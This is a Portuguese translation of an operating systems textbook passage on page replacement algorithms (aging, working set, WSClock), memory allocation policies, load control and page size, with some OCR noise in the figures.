Quando ocorre uma falha de página, a página cujo contador é o mais baixo é removida. É claro 
que uma página que não foi referenciada por, digamos, quatro tiques de relógio terá quatro zeros à 
esquerda em seu contador e, portanto, terá um valor menor do que um contador que não foi 
referenciado por três tiques de relógio. 

Este algoritmo difere do LRU de duas maneiras importantes. Considere as páginas 3 e 5 da 
Figura 3.17(e). Nenhum dos dois foi referenciado por dois tiques do relógio; ambos foram 
referenciados no tick anterior a isso. Segundo a LRU, se uma página precisar ser substituída, 
devemos escolher uma destas duas. O problema é que não sabemos qual deles foi referenciado por 
último no intervalo entre o tick 1 e o tick 2. Ao registrar apenas 1 bit por intervalo de tempo, perdemos 
agora a capacidade de distinguir as referências no início do intervalo de clock daquelas que ocorrem 
mais tarde. Tudo o que podemos fazer é remover a página 3, porque a página 5 também foi 
referenciada dois ticks antes e a página 3 não. 

A segunda diferença entre LRU e envelhecimento é que no envelhecimento os contadores 
possuem um número finito de bits (8 bits neste exemplo), o que limita seu horizonte passado. 
Suponha que duas páginas tenham cada uma um valor de contador 0. Tudo o que podemos fazer é 
escolher uma delas aleatoriamente. Na realidade, pode muito bem acontecer que uma das páginas 
tenha sido referenciada pela última vez há nove ticks e a outra tenha sido referenciada pela última 
vez há 1000 ticks. Não temos como ver isso. Na prática, entretanto, 8 bits geralmente são suficientes 
se o clock estiver em torno de 20 ms. Se uma página não for referenciada em 160 ms, provavelmente é 
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R bits para R bits R bits R bits R bits 
páginas 0 a para páginas para páginas para páginas para páginas 


5, clock tick O 


REL 


0-5, clock tick 1 


PESE 


0-5, clock tick 2 


JETER 


0-5, clock tick 3 


TZUE 


0-5, clock tick 4 


Tzam 


Página 


0 10000000 11.000.000 11100000 11110000 01111000 


1 00000000 10000000 11.000.000 01100000 10110000 


2 10000000 01000000 00100000 00010000 10001000 


3 00000000 00000000 10000000 01000000 00100000 


4 10000000 11.000.000 01100000 10110000 01011000 


5 10000000 01000000 10100000 01010000 00101000 


Figura 3-17. O algoritmo de envelhecimento simula LRU em software. São mostradas seis 
páginas para cinco tiques do relógio. Os cinco tiques do relógio são representados por (a) a (e). 


não é tão importante. É claro que usar um contador de 16, 32 ou 64 bits fornece mais histórico, mas o custo é 


mais memória para armazená-lo. Normalmente 8 bits fazem o trabalho perfeitamente. 


3.4.8 O algoritmo de substituição de páginas do conjunto de trabalho 


Na forma mais pura de paginação, os processos são iniciados sem nenhuma página na memória. Assim 
que a CPU tenta buscar a primeira instrução, ocorre uma falha de página, fazendo com que o sistema operacional 
traga a página que contém a primeira instrução. Outras falhas de página para variáveis globais e para a pilha 
geralmente ocorrem rapidamente. 

Depois de um tempo, o processo possui a maioria das páginas necessárias e se acomoda para ser executado 
com relativamente poucas falhas de página. Essa estratégia é chamada de paginação por demanda porque as 
páginas são carregadas somente sob demanda, e não antecipadamente. 

É claro que é bastante fácil escrever um programa de teste que leia sistematicamente todas as páginas em 
um grande espaço de endereçamento, causando tantas falhas de página que não há memória suficiente para 
mantê-las todas. Felizmente, a maioria dos processos não funciona desta forma. Eles exibem uma localidade de 
referência, o que significa que durante qualquer fase de execução, o processo faz referência apenas a uma 
fração relativamente pequena de suas páginas. Cada passagem de um compilador multipass, por exemplo, faz 
referência apenas a uma fração de todas as páginas, e ainda por cima a uma fração diferente. 


O conjunto de páginas que um processo utiliza atualmente é o seu conjunto de trabalho (Denning, 1968a; 
e Denning, 1980). Se todo o conjunto de trabalho estiver na memória, o processo 
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será executado sem causar muitas falhas até passar para outra fase de execução 

(por exemplo, a próxima passagem do compilador). Se a memória disponível for muito pequena para armazenar 
todo o conjunto de trabalho, o processo causará muitas falhas de página e será executado lentamente, 

já que a execução de uma instrução leva alguns nanossegundos e a leitura de uma página, 

digamos, um disco normalmente leva 10 ms. A uma taxa de uma ou duas instruções por 10 

mseg, levará muito tempo para terminar. Diz-se que um programa que causa falhas de página a cada poucas 
instruções é thrashing (Denning, 1968b). 

Em um sistema de multiprogramação, os processos são frequentemente movidos para o disco (ou seja, todos os seus 
páginas são removidas da memória) para permitir que outros possam usar a CPU. Surge a questão sobre o 
que fazer quando um processo é reativado. Tecnicamente, 
nada precisa ser feito. O processo apenas causará falhas de página até que seu conjunto de trabalho 
foi carregado. O problema é que ter inúmeras falhas de página toda vez que um 
processo é carregado é lento e também desperdiça um tempo considerável de CPU, pois leva 
ao sistema operacional alguns milissegundos de tempo de CPU para processar uma falha de página. 

Portanto, muitos sistemas de paginação tentam acompanhar o conjunto de trabalho de cada processo 
e certifique-se de que esteja na memória antes de deixar o processo ser executado. Esta abordagem é 
chamado de modelo de conjunto de trabalho (Denning, 1970). Ele foi projetado para reduzir significativamente o 
taxa de falha de página. Carregar as páginas antes de deixar os processos rodarem também é chamado 
pré-paginação. Observe que o conjunto de trabalho muda com o tempo. 

Há muito se sabe que os programas raramente fazem referência ao seu espaço de endereço de maneira 
uniforme, mas que as referências tendem a se agrupar em um pequeno número de páginas. Uma referência 
de memória pode buscar uma instrução ou dados, ou pode armazenar dados. A qualquer instante 
de tempo, t, existe um conjunto que consiste em todas as páginas usadas pelos k mais recentes 
referências de memória. Este conjunto, w(k, t), é o conjunto de trabalho. Porque k > 1 mais 
referências recentes devem ter usado todas as páginas usadas pelas k = 1 referências mais recentes, e 
possivelmente outras, w(k, t) é uma função monotonicamente não decrescente de k. 

O limite de w(k, t) à medida que k se torna grande é finito porque um programa não pode referenciar mais 
páginas do que o seu espaço de endereço contém, e poucos programas usarão cada 
página Única. A Figura 3-18 mostra o tamanho do conjunto de trabalho em função de k. 

O fato de a maioria dos programas acessar aleatoriamente um pequeno número de páginas, mas que 
este conjunto muda lentamente no tempo explica o rápido aumento inicial da curva e então 
o aumento muito mais lento para k grande. Por exemplo, um programa que está executando um loop 
ocupando duas páginas usando dados em quatro páginas pode fazer referência a todas as seis páginas a cada 
1.000 instruções, mas a referência mais recente a alguma outra página pode ser um milhão de instruções 
antes, durante a fase de inicialização. Devido a esta assintótica 
comportamento, o conteúdo do conjunto de trabalho não é sensível ao valor de k escolhido. 

Em outras palavras, existe uma ampla gama de valores k para os quais o conjunto de trabalho 

permanece inalterado. Como o conjunto de trabalho varia lentamente com o tempo, é possível 

faça uma estimativa razoável sobre quais páginas serão necessárias quando o programa for 

reiniciado com base em seu conjunto de trabalho quando foi interrompido pela última vez. A pré-pagamento 
consiste em carregar essas páginas antes de retomar o processo. 

Para implementar o modelo de conjunto de trabalho, é necessário que o sistema operacional 
para controlar quais páginas estão no conjunto de trabalho. Ter essas informações também 
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w(k,t) 


k 


Figura 3-18. O conjunto de trabalho é o conjunto de páginas usadas pelas k referências de 
memória mais recentes. A função w(k, t) é o tamanho do conjunto de trabalho no tempo t. 


leva imediatamente a um possível algoritmo de substituição de página: quando ocorre uma falha de 

página, encontre uma página que não esteja no conjunto de trabalho e remova-a. Para implementar 

tal algoritmo, precisamos de uma maneira precisa de determinar quais páginas estão no conjunto de trabalho. 
Por definição, o conjunto de trabalho é o conjunto de páginas usadas nas k referências de memória 

mais recentes (alguns autores usam as k referências de páginas mais recentes, mas a escolha é 

arbitrária). Para implementar qualquer algoritmo de conjunto de trabalho, algum valor de k deve ser 

escolhido antecipadamente. Então, após cada referência de memória, o conjunto de páginas usadas 

pelas k referências de memória mais recentes é determinado exclusivamente. 

É claro que ter uma definição operacional do conjunto de trabalho não significa que exista uma 
maneira eficiente de calculá-lo durante a execução do programa. Poderíamos imaginar um registrador 
de deslocamento de comprimento k, com cada referência de memória deslocando o registrador uma 
posição para a esquerda e inserindo o número de página referenciado mais recentemente à direita. O 
conjunto de todos os k números de página no registrador de deslocamento seria o conjunto de trabalho. 
Em teoria, em caso de falha de página, o conteúdo do registrador de deslocamento poderia ser lido e 
classificado. As páginas duplicadas poderiam então ser removidas. O resultado seria o conjunto de 
trabalho. Entretanto, manter o registrador de deslocamento e processá-lo em caso de falta de página 
seria proibitivamente caro, portanto essa técnica nunca é usada. 

Em vez disso, várias aproximações são usadas. Uma abordagem comum é abandonar a ideia de 
contar k referências de memória e usar o tempo de execução. Por exemplo, em vez de definir o conjunto 
de trabalho como as páginas usadas durante os 10 milhões de referências de memória anteriores, 
podemos defini-lo como o conjunto de páginas usadas durante os últimos 100 ms de execução. Na 
prática, tal definição é igualmente boa e mais fácil de trabalhar. Observe que para cada processo conta 
apenas o seu próprio tempo de execução. Assim, se um processo começa a ser executado no tempo T 
e teve 40 ms de tempo de CPU em tempo real T + 100 ms, para fins de conjunto de trabalho seu tempo 
é de 40 ms. 

A quantidade de tempo de CPU que um processo realmente usou desde que foi iniciado costuma ser 
chamada de tempo virtual atual. Com esta aproximação, o conjunto de trabalho de um processo é o 
conjunto de páginas referenciadas durante os últimos segundos do tempo virtual. 
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Agora vejamos um algoritmo de substituição de página baseado no conjunto de trabalho. 
A ideia básica é encontrar uma página que não esteja no conjunto de trabalho e despejá-la. Na 
Figura 3-19. vemos uma parte de uma tabela de páginas para alguma máquina. Como apenas 
as páginas localizadas na memória são consideradas candidatas à remoção, as páginas 
ausentes da memória são ignoradas por este algoritmo. Cada entrada contém (pelo menos) 
dois itens principais de informação: a hora (aproximada) em que a página foi usada pela última 
vezeo bit R (Referência). Um retângulo branco vazio simboliza os outros campos não 
necessários para este algoritmo, como o número do quadro da página, os bits de proteção e o 
bit M (Modificado). 


2204 Hora virtual atual 


Informação sobre Bit R (referenciado) 


uma página 


Hora do último uso NEET F , ; 
Digitalize todas as páginas examinando o bit 


R: se (R == 

Página referenciada 1) deina o horário do último uso para o horário virtual atual 

durante este tick 

if (R == 0 e age > ) remova 
esta página 


P j ; se (R == 0 e idade) 
Página não referenciada lembre-se do menor tempo 


durante este tick 


Tabela de páginas 


Figura 3-19. O algoritmo do conjunto de trabalho. 


O algoritmo funciona da seguinte maneira. Presume-se que o hardware configure os bits Re M, 
conforme discutido anteriormente. Da mesma forma, presume-se que uma interrupção periódica do relógio 
causa a execução de um software que limpa o bit referenciado a cada tique do relógio. Em cada falha de 
página, a tabela de páginas é varrida para procurar uma página adequada para ser removida. 

À medida que cada entrada é processada, o bit R é examinado. Se for 1, a hora virtual 
atual será gravada no campo Hora da última utilização na tabela de páginas, indicando que a 
página estava em uso no momento em que ocorreu a falha. Como a página foi referenciada 
durante o tique do relógio atual, ela está claramente no conjunto de trabalho e não é candidata 
à remoção (presume-se que abranja vários tiques do relógio). 

Se Rfor 0, a página não foi referenciada durante o tique do relógio atual e pode ser 
candidata à remoção. Para ver se deve ou não ser removido, sua idade (o tempo virtual atual 
menos o tempo da última utilização) é calculada e comparada. Se a idade for maior que a 

página não está mais no conjunto de trabalho e o to . nova página o substitui. A 
verificação continua atualizando as entradas restantes. 
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No entanto, se R for 0, mas a idade for menor ou igual a , a página ainda está no 
conjunto de trabalho. A página é temporariamente poupada, mas a página com maior idade (menor 
valor de Tempo da última utilização) é anotada. Se toda a tabela for digitalizada sem encontrar um 
candidato a ser removido, isso significa que todas as páginas estão no conjunto de trabalho. Nesse 
caso, se forem encontradas uma ou mais páginas com R= 0, a que tiver maior idade será removida. 
Na pior das hipóteses, todas as páginas foram referenciadas durante o tique do relógio atual (e, 
portanto, todas têm R = 1), então uma é escolhida aleatoriamente para remoção, de preferência 
uma página limpa, se existir. 


3.4.9 Algoritmo de substituição de página WSClock 


O algoritmo básico do conjunto de trabalho é complicado, pois toda a tabela de páginas precisa 
ser varrida a cada falha de página até que um candidato adequado seja localizado. Essa é uma 
operação demorada. Um algoritmo melhorado, que é baseado no algoritmo do relógio, mas também 
utiliza as informações do conjunto de trabalho, é denominado WSClock (Carr e Hennessey, 1981). 
Devido à sua simplicidade de implementação e bom desempenho, é amplamente utilizado na prática. 


A estrutura de dados necessária é uma lista circular de quadros de páginas, como no algoritmo 
de relógio e mostrado na Figura 3.20(a). Inicialmente, esta lista está vazia. Quando a primeira página 
é carregada, ela é adicionada à lista. À medida que mais páginas são adicionadas, elas vão para a 
lista formando um anel. Cada entrada contém o campo Hora da última utilização do algoritmo do 
conjunto de trabalho básico, bem como o bit R (mostrado) e o bit M (não mostrado). 

Tal como acontece com o algoritmo do relógio, em cada falha de página, a página apontada 
pelo ponteiro é examinada primeiro. Se o bit R for definido como 1, a página foi usada durante o tick 
atual, portanto não é uma candidata ideal para remoção. O bit R é então definido como 0, o ponteiro 
avança para a próxima página e o algoritmo é repetido para essa página. O estado após essa 
sequência de eventos é mostrado na Figura 3.20(b). 

Agora considere o que acontece se a página apontada tiver R = 0, como mostra a Figura 
3.20(c). Se a idade for maior e a página estiver limpa, ela não está no conjunto de trabalho e existe 
uma cópia válida no disco ou SSD. O quadro da página é simplesmente reivindicado e a nova 
página é colocada lá, como mostra a Figura 3.20(d). Por outro lado, se a página estiver suja, ela não 
poderá ser reivindicada imediatamente, pois nenhuma cópia válida está presente no armazenamento 
não volátil. Para evitar uma troca de processo, a gravação no armazenamento não volátil é 
agendada, mas a mão avança e o algoritmo continua na próxima página. Afinal, pode haver uma 
página antiga e limpa mais adiante que pode ser usada imediatamente. 


Em princípio, todas as páginas podem ser agendadas para E/S para armazenamento não 
volátil em um ciclo, 24 horas por dia. Para reduzir o tráfego de disco ou SSD, um limite pode ser 
definido, permitindo que no máximo n páginas sejam gravadas. Uma vez atingido esse limite, 
nenhuma nova gravação será agendada. 

O que acontece se a mão der uma volta completa e voltar ao ponto inicial? Existem dois casos 
que devemos considerar: 
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Figura 3-20. Operação do algoritmo WSClock. (a) e (b) dê um exemplo 
do que acontece quando R = 1. (c) e (d) dê um exemplo de R = 0. 


1. Pelo menos uma gravação foi agendada. 


2. Nenhuma gravação foi agendada. 


No primeiro caso, a mão continua se movendo, procurando uma página em branco. Desde que um ou 


mais gravações foram agendadas, eventualmente algumas gravações serão concluídas e sua página 


será marcado como limpo. A primeira página limpa encontrada é removida. Esta página é 
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não necessariamente a primeira gravação agendada porque o driver (de disco) pode reordenar 
grava para otimizar o desempenho do armazenamento não volátil. 

No segundo caso, todas as páginas estão no conjunto de trabalho, caso contrário, pelo menos uma página de gravação 
estaria agendado. Na falta de informações adicionais, a coisa mais simples de 
fazer é reivindicar qualquer página limpa e usá-la. A localização de uma página limpa pode ser mantida 
rastreamento durante a varredura. Se não existirem páginas limpas, então a página atual é escolhida 


como vítima e gravado de volta no armazenamento não volátil. 


3.4.10 Resumo dos Algoritmos de Substituição de Página 


Vimos agora uma variedade de algoritmos de substituição de páginas. Agora nós 
irei resumi-los brevemente. A lista de algoritmos discutidos é apresentada na Figura 3.21. 


Algoritmo Comente 
Ótimo Não implementável, mas útil como referência 
NRU (não usado recentemente) Aproximação muito grosseira de LRU 
FIFO (primeiro a entrar, primeiro a sair) Pode jogar fora páginas importantes 
Segunda chance Grande melhoria em relação ao FIFO 
Relógio Realista 


LRU (menos usado recentemente) Excelente, mas difícil de implementar com exatidão 


NFU (não usado com frequência) Aproximação bastante grosseira de LRU 


Envelhecimento Algoritmo eficiente que aproxima bem o LRU 
Conjunto de trabalho Um pouco caro para implementar 
WSClock Algoritmo bom e eficiente 


Figura 3-21. Algoritmos de substituição de página discutidos no texto. 


O algoritmo ideal despeja a página que será referenciada mais adiante no 
futuro. Infelizmente, não há como determinar qual página é essa, portanto, na prática, esse algoritmo não pode 
ser usado. É útil como referência contra a qual outros 
algoritmos podem ser medidos, no entanto. 

O algoritmo NRU divide as páginas em quatro classes dependendo do estado de 
os bits R e M. Uma página aleatória da classe de numeração mais baixa é escolhida. Esse 
O algoritmo é fácil de implementar, mas é muito rudimentar. Existem melhores. 

FIFO mantém registro da ordem em que as páginas foram carregadas na memória 
mantendo-os em uma lista vinculada. Remover a página mais antiga torna-se então trivial, mas 
essa página ainda pode estar em uso, então o FIFO é uma má escolha. 

A segunda chance é uma mudança no FIFO que verifica se uma página está em uso antes de movê-la. Se 
for, a página é poupada. Esta modificação melhora muito o desempenho. O relógio é simplesmente uma 
implementação diferente da segunda chance. Tem o 
mesmas propriedades de desempenho, mas leva um pouco menos de tempo para executar o algoritmo. 

LRU é um algoritmo excelente, mas não pode ser implementado sem especial 
hardware. Se este hardware não estiver disponível, o LRU não poderá ser usado. NFU é um bruto 
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tentar aproximar LRU. Não é muito bom. No entanto, o envelhecimento é uma aproximação muito 
melhor à LRU e pode ser implementado de forma eficiente. É uma boa escolha. 

Os dois últimos algoritmos usam o conjunto de trabalho. O algoritmo do conjunto de trabalho 
oferece desempenho razoável, mas é um tanto caro de implementar. WSClock é uma variante que 
não só oferece bom desempenho, mas também é eficiente de implementar. 

Resumindo, os dois melhores algoritmos “puros” são o envelhecimento e o WSClock. Eles 
são baseados no LRU e no conjunto de trabalho, respectivamente. Ambos oferecem bom 
desempenho de paginação e podem ser implementados com eficiência. Na prática, os sistemas 
operacionais podem implementar suas próprias variantes de algoritmos de substituição de 
páginas. Por exemplo, o Windows combina elementos de diferentes políticas (relógio/LRU e 
conjunto de trabalho), usando diferentes estratégias para substituição local (removendo páginas 
apenas deste processo) e substituição global (removendo páginas de qualquer lugar), e até varia 
a substituição de páginas com base no hardware subjacente. Enquanto isso, o Linux em 2008 
adotou uma solução de substituição de página LRU dividida que mantém listas LRU separadas 
para páginas contendo conteúdo de arquivo e páginas contendo dados “anônimos” (ou seja, não 
apoiados por arquivos). A razão é que essas páginas normalmente têm padrões de uso diferentes 
e a probabilidade de as páginas anônimas serem reutilizadas é muito maior. 


3.5 QUESTÕES DE PROJETO PARA SISTEMAS DE PAGING 


Nas seções anteriores, explicamos como funciona a paginação e fornecemos alguns dos 
algoritmos básicos de substituição de página. Mas conhecer a mecânica básica não é suficiente. 
Para projetar um sistema e fazê-lo funcionar bem, é preciso saber muito mais. É como a diferença 
entre saber mover a torre, o cavalo, o bispo e outras peças no xadrez e ser um bom jogador. Nas 
seções seguintes, veremos outras questões que os projetistas de sistemas operacionais devem 
considerar cuidadosamente para obter um bom desempenho de um sistema de paginação. 


3.5.1 Políticas de Alocação Local versus Global 


Nas seções anteriores, discutimos vários algoritmos para escolher uma página a ser 
substituída quando ocorre uma falha. Uma questão importante associada a esta escolha (que 
varremos cuidadosamente para debaixo do tapete até agora) é como a memória deve ser alocada 
entre os processos executáveis concorrentes. 

Dê uma olhada na Figura 3.22(a). Nesta figura, três processos, A, Be C, constituem o 
conjunto de processos executáveis. Suponha que A receba uma falha de página. O algoritmo de 
substituição de página deveria tentar encontrar a página usada menos recentemente considerando 
apenas as seis páginas atualmente alocadas para A, ou deveria considerar todas as páginas na memória? 
Se olhar apenas para as páginas A, a página com o menor valor de idade é A5, então obtemos a 
situação da Figura 3.22(b). 

Por outro lado, se a página com o menor valor de idade for removida sem levar em conta a 
quem ela pertence, a página B3 será escolhida e obteremos a situação da Figura 3.22(c). Diz-se 
que o algoritmo da Figura 3.22(b) é uma substituição de página local 
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e2 
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(c) 


Figura 3-22. Substituição de página local versus global. (a) Configuração original. (b) 
Substituição de página local. (c) Substituição global de páginas. 


algoritmo, enquanto o da Figura 3.22(c) é considerado um algoritmo global. Algoritmos locais correspondem 
efetivamente a alocar a cada processo uma fração fixa da memória. Algoritmos globais alocam dinamicamente 
quadros de página entre os processos executáveis. Assim, o número de quadros de página atribuídos a cada 
processo varia com o tempo. 

Em geral, os algoritmos globais funcionam melhor, especialmente quando o tamanho do conjunto de 
trabalho pode variar muito ao longo da vida de um processo. Se um algoritmo local for usado e o conjunto de 
trabalho crescer, resultará em thrashing, mesmo se houver um número suficiente de quadros de página livres. Se 
o conjunto de trabalho diminuir, os algoritmos locais desperdiçarão memória. Se um algoritmo global for usado, o 
sistema deverá decidir continuamente quantos quadros de página serão atribuídos a cada processo. Uma maneira 
é monitorar o tamanho do conjunto de trabalho conforme indicado pelos bits antigos, mas essa abordagem não 
evita necessariamente o thrash. O conjunto de trabalho pode mudar de tamanho em milissegundos, enquanto 
os bits antigos são uma medida muito grosseira, distribuída por vários tiques do relógio. 


Outra abordagem é ter um algoritmo para alocar frames de páginas para processos. Uma maneira é 
determinar periodicamente o número de processos em execução e alocar a cada processo uma parcela igual. 
Assim, com 12.416 quadros de página disponíveis (ou seja, fora do sistema operacional) e 10 processos, cada 
processo obtém 1.241 quadros. Os seis restantes vão para um pool para serem usados quando ocorrerem 
falhas de página. 

Embora esse método possa parecer justo, não faz muito sentido atribuir partes iguais de memória a um 
processo de 10 KB e a um processo de 300 KB. Em vez disso, as páginas podem ser alocadas proporcionalmente 
ao tamanho total de cada processo, com um processo de 300 KB recebendo 30 vezes a alocação de um processo 
de 10 KB. Provavelmente é aconselhável dar a cada processo um número mínimo, para que ele possa ser 
executado, não importa quão pequeno seja. Em algumas máquinas, por exemplo, uma única instrução de dois 


operandos pode precisar de até seis 
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páginas porque a própria instrução, o operando de origem e o operando de destino podem ultrapassar 
os limites da página. Com uma alocação de apenas cinco páginas, os programas que contêm tais 
instruções não podem ser executados. 

Se for utilizado um algoritmo global, pode ser possível iniciar cada processo com um número de 
páginas proporcional ao tamanho do processo, mas a alocação deve ser atualizada dinamicamente à 
medida que os processos são executados. Uma maneira de gerenciar a alocação é usar o algoritmo PFF 
(Page Fault Frequency). Ele informa quando aumentar ou diminuir a alocação de páginas de um 
processo, mas não diz nada sobre qual página substituir em caso de falha. Ele apenas controla o 
tamanho do conjunto de alocação. 

Para uma grande classe de algoritmos de substituição de páginas, incluindo LRU, sabe-se que a 
taxa de falhas diminui à medida que mais páginas são atribuídas, como discutimos acima. 

Esta é a suposição por trás do PFF. Esta propriedade é ilustrada na Figura 3-28. 


Número de quadros de página atribuídos 


Figura 3-23. Taxa de falhas de página em função do número de quadros de página atribuídos. 


Medir a taxa de falhas de página é simples: basta contar o número de falhas por segundo, 
possivelmente calculando também a média dos últimos segundos. Uma maneira fácil de fazer isso é 
adicionar o número de falhas de página durante o segundo imediatamente anterior à média atual e 
dividir por dois. A linha tracejada marcada com A corresponde a uma taxa de falhas de página que é 
inaceitavelmente alta, de modo que o processo de falha recebe mais quadros de página para reduzir a 
taxa de falhas. A linha tracejada marcada com B corresponde a uma taxa de falta de página tão baixa 
que podemos assumir que o processo tem muita memória. Neste caso, os quadros de página podem ser 
retirados dele. Assim, o PFF tenta manter a taxa de paginação de cada processo dentro de limites 
aceitáveis. 

É importante observar que alguns algoritmos de substituição de página podem funcionar 
com uma política de substituição local ou global. Por exemplo, o FIFO pode substituir a página 
mais antiga em toda a memória (algoritmo global) ou a página mais antiga pertencente ao 
processo atual (algoritmo local). Da mesma forma, LRU ou alguma aproximação a ele pode 
substituir a página usada menos recentemente em toda a memória (algoritmo global) ou a 
página usada menos recentemente pertencente ao processo atual (algoritmo local). A escolha 
entre local versus global é independente do algoritmo em alguns casos. 

Por outro lado, para outros algoritmos de substituição de páginas, apenas uma estratégia local faz 
sentido. Em particular, o conjunto de trabalho e os algoritmos WSClock referem-se a alguns 
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processo específico e deve ser aplicado nesse contexto. Realmente não há conjunto de trabalho 
para a máquina como um todo, e tentando utilizar a união de todos os conjuntos de trabalho 
perderia a propriedade da localidade e não funcionaria bem. 


3.5.2 Controle de Carga 


Mesmo com o melhor algoritmo de substituição de página e alocação global ideal 
de frames de página para processos, pode acontecer que o sistema trave. Na verdade, sempre que os 
conjuntos de trabalho combinados de todos os processos excedem a capacidade da memória, 
pode-se esperar uma surra. Um sintoma desta situação é que o algoritmo PFF 
indica que alguns processos precisam de mais memória, mas nenhum processo precisa de menos 
memória. Neste caso, não há como dar mais memória aos processos que necessitam 
sem prejudicar alguns outros processos. A única solução real é temporariamente 
livrar-se de alguns processos. 

A solução mais simples é direta: eliminar alguns processos. Sistemas operacionais 
muitas vezes têm um processo especial chamado OOM (Out of Memory killer) que se torna 
ativo quando o sistema está com pouca memória. Ele revisa todos os processos em execução e 
seleciona uma vítima para matar, liberando seus recursos para manter o sistema funcionando. 
Especificamente, o assassino OOM examinará todos os processos e atribuirá a eles uma pontuação para 
indicar o quão “ruim” eles são. Por exemplo, usar muita memória aumentará a pontuação de maldade de 
um processo, enquanto processos importantes (como processos raiz e do sistema) 
obter pontuações baixas. Além disso, o assassino OOM tentará minimizar o número de processos 
para encerrar (enquanto ainda libera memória suficiente). Depois de considerar todos os 
processos, ele eliminará o(s) processo(s) com a(s) pontuação(ões) mais alta(s). 

Uma maneira consideravelmente mais amigável de reduzir o número de processos que competem 
por memória é trocar alguns deles para armazenamento não volátil e liberar todos os processos. 
páginas que eles estão segurando. Por exemplo, um processo pode ser trocado para não volátil 
armazenamento e seus quadros de página divididos entre outros processos que estão se debatendo. Se 
a agitação para, o sistema pode funcionar por um tempo dessa maneira. Se não parar, 
outro processo deve ser trocado e assim por diante, até que a agitação pare. Por isso 
mesmo com paginação, a troca ainda pode ser necessária, só que agora a troca é usada para 
reduzir a demanda potencial por memória, em vez de recuperar páginas. Assim paginação 
e a troca não são mutuamente contraditórias. 

A troca de processos para aliviar a carga na memória é uma reminiscência do escalonamento de 
dois níveis, no qual alguns processos são colocados em armazenamento não volátil e um 
o agendador de curto prazo é usado para agendar os processos restantes. Claramente, os dois 
ideias podem ser combinadas, trocando apenas processos suficientes para tornar a taxa de falha de 
página aceitável. Periodicamente, alguns processos são trazidos de sistemas não voláteis 
armazenamento e outros são trocados. 

No entanto, outro fator a considerar é o grau de multiprogramação. Quando 
Se o número de processos na memória principal for muito baixo, a CPU poderá ficar ociosa por períodos 
substanciais de tempo. Esta consideração defende a consideração não apenas do processo 
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tamanho e taxa de paginação ao decidir qual processo trocar, mas também suas características, como se ele 
está vinculado à CPU ou à E/S, e quais características os processos restantes possuem. 


Antes de encerrarmos esta seção, devemos mencionar que matar e trocar não são as únicas opções. Por 
exemplo, outra solução comum é reduzir o uso de memória por compactação e compactação. Na verdade, 
reduzir o consumo de memória de um sistema está no topo da lista de prioridades dos projetistas de sistemas 
operacionais em qualquer lugar. Uma técnica inteligente comumente usada é conhecida como desduplicação 
ou mesclagem na mesma página. A ideia é simples: varrer periodicamente a memória para ver se duas páginas 
(possivelmente em processos diferentes) têm exatamente o mesmo conteúdo. Nesse caso, em vez de 
armazenar esse conteúdo em dois quadros de páginas físicas, o sistema operacional remove uma das 
duplicatas e modifica os mapeamentos da tabela de páginas para que agora haja duas páginas virtuais que 
apontam para o mesmo quadro. O quadro é uma cópia compartilhada na gravação: assim que um processo 
tenta gravar na página, uma nova cópia é feita, para que a gravação não afete a outra página. Algumas 
pessoas chamam isso de “desduplicação”. Embora não estejam erradas, é uma coisa cruel de se fazer com a 
linguagem de Shakespeare. 


3.5.3 Política de Limpeza 


Relacionada ao tema controle de carga está a questão da limpeza. O envelhecimento funciona melhor 
quando há um suprimento abundante de frames de página gratuitos que podem ser reivindicados quando 
ocorrem falhas de página. Se cada quadro de página estiver cheio e, além disso, modificado, antes que uma 
nova página possa ser trazida, uma página antiga deverá primeiro ser gravada em armazenamento não volátil. 
Para garantir um suprimento abundante de frames de página gratuitos, os sistemas de paginação geralmente 
possuem um processo em segundo plano, cnamado daemon de paginação, que fica inativo a maior parte do 
tempo, mas é despertado periodicamente para inspecionar o estado da memória. Se poucos quadros de página 
estiverem livres, ele começa a selecionar as páginas a serem removidas usando algum algoritmo de substituição 
de página. Se essas páginas tiverem sido modificadas desde o carregamento, elas serão gravadas em 
armazenamento não volátil. 

Em qualquer caso, o conteúdo anterior da página é lembrado. Caso uma das páginas removidas seja 
necessária novamente antes que seu quadro seja substituído, ela poderá ser recuperada removendo-a do 
conjunto de quadros de páginas livres. Manter um suprimento de quadros de página produz um desempenho 
melhor do que usar toda a memória e depois tentar encontrar um quadro no momento em que for necessário. 
No mínimo, o daemon de paginação garante que todos os quadros livres estejam limpos, de modo que eles 


não precisem ser gravados em armazenamento não volátil com muita pressa quando forem necessários. 


Uma forma de implementar esta política de limpeza é com um relógio de dois ponteiros. A mão frontal é 
controlada pelo daemon de paginação. Quando aponta para uma página suja, essa página é gravada de volta 
no armazenamento não volátil e a frente é avançada. Quando aponta para uma página limpa, é apenas 
avançado. O verso é usado para substituição de página, como no algoritmo de relógio padrão. Só agora a 
probabilidade de o backhand atingir uma página limpa aumenta devido ao trabalho do daemon de paginação. 
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3.5.4 Tamanho da página 


O tamanho da página é um parâmetro que pode ser escolhido pelo sistema operacional. Mesmo que o hardware 
tenha sido projetado com, por exemplo, páginas de 4.096 bytes, o sistema operacional pode facilmente considerar os 
pares de páginas 0 e 1,2 e 3, 4 e 5, e assim por diante, como páginas de 8 KB, alocando sempre dois quadros de 
página consecutivos de 8.192 bytes para eles. 

Determinar o melhor tamanho de página requer o equilíbrio de vários fatores concorrentes. 

Como resultado, não existe um ótimo geral. Para começar, dois fatores defendem um tamanho de página pequeno. Um 
texto, dados ou segmento de pilha escolhido aleatoriamente não preencherá um número inteiro de páginas. Em média, 
metade da página final estará vazia. 

O espaço extra nessa página é desperdiçado. Esse desperdício é chamado de fragmentação interna. Com n segmentos 
na memória e um tamanho de página de p bytes, np/2 bytes serão desperdiçados na fragmentação interna. Esse 
raciocínio defende um tamanho de página pequeno. 

Outro argumento para um tamanho de página pequeno torna-se aparente se pensarmos em um programa 
composto por oito fases sequenciais de 4 KB cada. Com um tamanho de página de 32 KB, o programa deve receber 32 
KB o tempo todo. Com um tamanho de página de 16 KB, são necessários apenas 16 KB. Com um tamanho de página 
de 4 KB ou menor, são necessários apenas 4 KB a qualquer momento. Em geral, um tamanho de página grande causará 


mais desperdício de espaço na memória do que um tamanho de página pequeno. 


Por outro lado, páginas pequenas significam que os programas precisarão de muitas páginas e, portanto, de uma 
tabela de páginas grande. Um programa de 32 KB precisa de apenas quatro páginas de 8 KB, mas 64 páginas de 512 
bytes. As transferências de e para o disco ou SSD geralmente ocorrem uma página por vez. Se o armazenamento não 
volátil não for um SSD, mas um disco magnético, a maior parte do tempo será gasto na busca e no atraso rotacional, de 
modo que a transferência de uma página pequena leva quase tanto tempo quanto a transferência de uma página grande. 
